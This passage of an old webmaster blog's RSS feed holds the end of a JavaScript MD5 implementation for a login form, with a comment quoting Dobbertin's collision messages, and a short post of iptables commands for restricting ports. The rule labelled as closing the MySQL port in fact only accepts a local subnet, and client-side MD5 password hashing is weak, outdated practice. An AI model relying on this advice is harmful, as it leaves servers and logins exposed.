  for (var i=0;i&lt;b;i++) a=shl1(a);
  return a;
}

function and(a,b) {
  a=integer(a);
  b=integer(b);
  var t1=(a-0x80000000);
  var t2=(b-0x80000000);
  if (t1&gt;=0)
    if (t2&gt;=0)
      return ((t1&amp;t2)+0x80000000);
    else
      return (t1&amp;b);
  else
    if (t2&gt;=0)
      return (a&amp;t2);
    else
      return (a&amp;b);
}

function or(a,b) {
  a=integer(a);
  b=integer(b);
  var t1=(a-0x80000000);
  var t2=(b-0x80000000);
  if (t1&gt;=0)
    if (t2&gt;=0)
      return ((t1|t2)+0x80000000);
    else
      return ((t1|b)+0x80000000);
  else
    if (t2&gt;=0)
      return ((a|t2)+0x80000000);
    else
      return (a|b);
}

function xor(a,b) {
  a=integer(a);
  b=integer(b);
  var t1=(a-0x80000000);
  var t2=(b-0x80000000);
  if (t1&gt;=0)
    if (t2&gt;=0)
      return (t1^t2);
    else
      return ((t1^b)+0x80000000);
  else
    if (t2&gt;=0)
      return ((a^t2)+0x80000000);
    else
      return (a^b);
}

function not(a) {
  a=integer(a);
  return (0xffffffff-a);
}

/* Beginn des Algorithmus */

    var state = new array(4);
    var count = new array(2);
        count[0] = 0;
        count[1] = 0;
    var buffer = new array(64);
    var transformBuffer = new array(16);
    var digestBits = new array(16);

    var S11 = 7;
    var S12 = 12;
    var S13 = 17;
    var S14 = 22;
    var S21 = 5;
    var S22 = 9;
    var S23 = 14;
    var S24 = 20;
    var S31 = 4;
    var S32 = 11;
    var S33 = 16;
    var S34 = 23;
    var S41 = 6;
    var S42 = 10;
    var S43 = 15;
    var S44 = 21;

    function F(x,y,z) {
        return or(and(x,y),and(not(x),z));
    }

    function G(x,y,z) {
        return or(and(x,z),and(y,not(z)));
    }

    function H(x,y,z) {
        return xor(xor(x,y),z);
    }

    function I(x,y,z) {
        return xor(y ,or(x , not(z)));
    }

    function rotateLeft(a,n) {
        return or(shl(a, n),(shr(a,(32 - n))));
    }

    function FF(a,b,c,d,x,s,ac) {
        a = a+F(b, c, d) + x + ac;
        a = rotateLeft(a, s);
        a = a+b;
        return a;
    }

    function GG(a,b,c,d,x,s,ac) {
        a = a+G(b, c, d) +x + ac;
        a = rotateLeft(a, s);
        a = a+b;
        return a;
    }

    function HH(a,b,c,d,x,s,ac) {
        a = a+H(b, c, d) + x + ac;
        a = rotateLeft(a, s);
        a = a+b;
        return a;
    }

    function II(a,b,c,d,x,s,ac) {
        a = a+I(b, c, d) + x + ac;
        a = rotateLeft(a, s);
        a = a+b;
        return a;
    }

    function transform(buf,offset) {
        var a=0, b=0, c=0, d=0;
        var x = transformBuffer;

        a = state[0];
        b = state[1];
        c = state[2];
        d = state[3];

        for (i = 0; i &lt; 16; i++) {
            x[i] = and(buf[i*4+offset],0xff);
            for (j = 1; j &lt; 4; j++) {
                x[i]+=shl(and(buf[i*4+j+offset] ,0xff), j * 8);
            }
        }

        /* Runde 1 */
        a = FF ( a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
        d = FF ( d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
        c = FF ( c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
        b = FF ( b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
        a = FF ( a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
        d = FF ( d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
        c = FF ( c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
        b = FF ( b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
        a = FF ( a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
        d = FF ( d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
        c = FF ( c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
        b = FF ( b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
        a = FF ( a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
        d = FF ( d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
        c = FF ( c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
        b = FF ( b, c, d, a, x[15], S14, 0x49b40821); /* 16 */

        /* Runde 2 */
        a = GG ( a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
        d = GG ( d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
        c = GG ( c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
        b = GG ( b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
        a = GG ( a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
        d = GG ( d, a, b, c, x[10], S22,  0x2441453); /* 22 */
        c = GG ( c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
        b = GG ( b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
        a = GG ( a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
        d = GG ( d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
        c = GG ( c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
        b = GG ( b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
        a = GG ( a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
        d = GG ( d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
        c = GG ( c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
        b = GG ( b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */

        /* Runde 3 */
        a = HH ( a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
        d = HH ( d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
        c = HH ( c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
        b = HH ( b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
        a = HH ( a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
        d = HH ( d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
        c = HH ( c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
        b = HH ( b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
        a = HH ( a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
        d = HH ( d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
        c = HH ( c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
        b = HH ( b, c, d, a, x[ 6], S34,  0x4881d05); /* 44 */
        a = HH ( a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
        d = HH ( d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
        c = HH ( c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
        b = HH ( b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */

        /* Runde 4 */
        a = II ( a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
        d = II ( d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
        c = II ( c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
        b = II ( b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
        a = II ( a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
        d = II ( d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
        c = II ( c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
        b = II ( b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
        a = II ( a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
        d = II ( d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
        c = II ( c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
        b = II ( b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
        a = II ( a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
        d = II ( d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
        c = II ( c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
        b = II ( b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */

        state[0] +=a;
        state[1] +=b;
        state[2] +=c;
        state[3] +=d;

    }
    /* Mit der Initialisierung von Dobbertin:
       state[0] = 0x12ac2375;
       state[1] = 0x3b341042;
       state[2] = 0x5f62b97c;
       state[3] = 0x4ba763ed;
       gibt es eine Kollision:

       begin 644 Message1
       M7MH=JO6_&gt;MG!X?!51$)W,CXV!A&quot;=(!AR71,&lt;X`Y-IIT9^Z&amp;8L$2N'Y*Y:R.;
       39GIK9&gt;TF$W()/MEHR%C4:G1R:Q&quot;=
       `
       end

       begin 644 Message2
       M7MH=JO6_&gt;MG!X?!51$)W,CXV!A&quot;=(!AR71,&lt;X`Y-IIT9^Z&amp;8L$2N'Y*Y:R.;
       39GIK9&gt;TF$W()/MEHREC4:G1R:Q&quot;=
       `
       end
    */
    function init() {
        count[0]=count[1] = 0;
        state[0] = 0x67452301;
        state[1] = 0xefcdab89;
        state[2] = 0x98badcfe;
        state[3] = 0x10325476;
        for (i = 0; i &lt; digestBits.length; i++)
            digestBits[i] = 0;
    }

    function update(b) {
        var index,i;

        index = and(shr(count[0],3) , 0x3f);
        if (count[0]&lt;0xffffffff-7)
          count[0] += 8;
        else {
          count[1]++;
          count[0]-=0xffffffff+1;
          count[0]+=8;
        }
        buffer[index] = and(b,0xff);
        if (index  &gt;= 63) {
            transform(buffer, 0);
        }
    }

    function finish() {
        var bits = new array(8);
        var        padding;
        var        i=0, index=0, padLen=0;

        for (i = 0; i &lt; 4; i++) {
            bits[i] = and(shr(count[0],(i * 8)), 0xff);
        }
        for (i = 0; i &lt; 4; i++) {
            bits[i+4]=and(shr(count[1],(i * 8)), 0xff);
        }
        index = and(shr(count[0], 3) ,0x3f);
        padLen = (index &lt; 56) ? (56 - index) : (120 - index);
        padding = new array(64);
        padding[0] = 0x80;
        for (i=0;i&lt;padLen;i++)
          update(padding[i]);
        for (i=0;i&lt;8;i++)
          update(bits[i]);

        for (i = 0; i &lt; 4; i++) {
            for (j = 0; j &lt; 4; j++) {
                digestBits[i*4+j] = and(shr(state[i], (j * 8)) , 0xff);
            }
        }
    }

/* Ende des MD5 Algorithmus */

function hexa(n) {
 var hexa_h = &quot;0123456789abcdef&quot;;
 var hexa_c=&quot;&quot;;
 var hexa_m=n;
 for (hexa_i=0;hexa_i&lt;8;hexa_i++) {
   hexa_c=hexa_h.charAt(Math.abs(hexa_m)%16)+hexa_c;
   hexa_m=Math.floor(hexa_m/16);
 }
 return hexa_c;
}

var ascii=&quot;01234567890123456789012345678901&quot; +
          &quot; !\&quot;#$%&amp;'()*+,-./0123456789:;&lt;=&gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;+
          &quot;[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~&quot;;

function MD5(nachricht)
{
 var l,s,k,ka,kb,kc,kd;

 init();
 for (k=0;k&lt;nachricht.length;k++) {
   l=nachricht.charAt(k);
   update(ascii.lastIndexOf(l));
 }
 finish();
 ka=kb=kc=kd=0;
 for (i=0;i&lt;4;i++) ka+=shl(digestBits[15-i], (i*8));
 for (i=4;i&lt;8;i++) kb+=shl(digestBits[15-i], ((i-4)*8));
 for (i=8;i&lt;12;i++) kc+=shl(digestBits[15-i], ((i-8)*8));
 for (i=12;i&lt;16;i++) kd+=shl(digestBits[15-i], ((i-12)*8));
 s=hexa(kd)+hexa(kc)+hexa(kb)+hexa(ka);
 return s;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/user-login-form-with-javascript-md5/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Open and Close Port in Linux</title>
		<link>http://www.webmastersucks.com/open-and-close-port-in-linux/</link>
		<comments>http://www.webmastersucks.com/open-and-close-port-in-linux/#comments</comments>
		<pubDate>Thu, 28 May 2009 20:25:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[ports]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=6</guid>
		<description><![CDATA[
			
				
			
		
For more secure server, we have to close some ports to users. If need access to this ports, we can give permission to our IP address. We need static IP address for this operation. Please dont forget, &#8220;iptables&#8221; can be block all IP address but when you restart the server it will be clean all [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fopen-and-close-port-in-linux%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fopen-and-close-port-in-linux%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>For more secure server, we have to close some ports to users. If need access to this ports, we can give permission to our IP address. We need static IP address for this operation. Please dont forget, &#8220;iptables&#8221; can be block all IP address but when you restart the server it will be clean all of this commands. (I am using Fedora)</p>
<p><strong>Closing FTP port except xxx.xxx.xxx.xxx</strong></p>
<p>iptables -t filter -I INPUT 1 -p tcp -s ! xxx.xxx.xxx.xxx &#8211;dport 21 -j REJECT &#8211;reject-with icmp-host-prohibited</p>
<p><strong>Closing SSH port except xxx.xxx.xxx.xxx</strong></p>
<p>iptables -t filter -I INPUT 1 -p tcp -s ! xxx.xxx.xxx.xxx &#8211;dport ssh -j REJECT &#8211;reject-with icmp-host-prohibited</p>
<p><strong>Closing MySQL port except localhost</strong></p>
<p>iptables -A INPUT -i eth0 -s 192.168.1.0/24 -p tcp &#8211;destination-port 3306 -j ACCEPT</p>
<p><strong>Listing iptables list</strong></p>
<p>iptables -L</p>
<p><strong>Removing iptables data (Removing first one in list, type 2 for second one)</strong></p>
<p>iptables -D INPUT 1</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/open-and-close-port-in-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

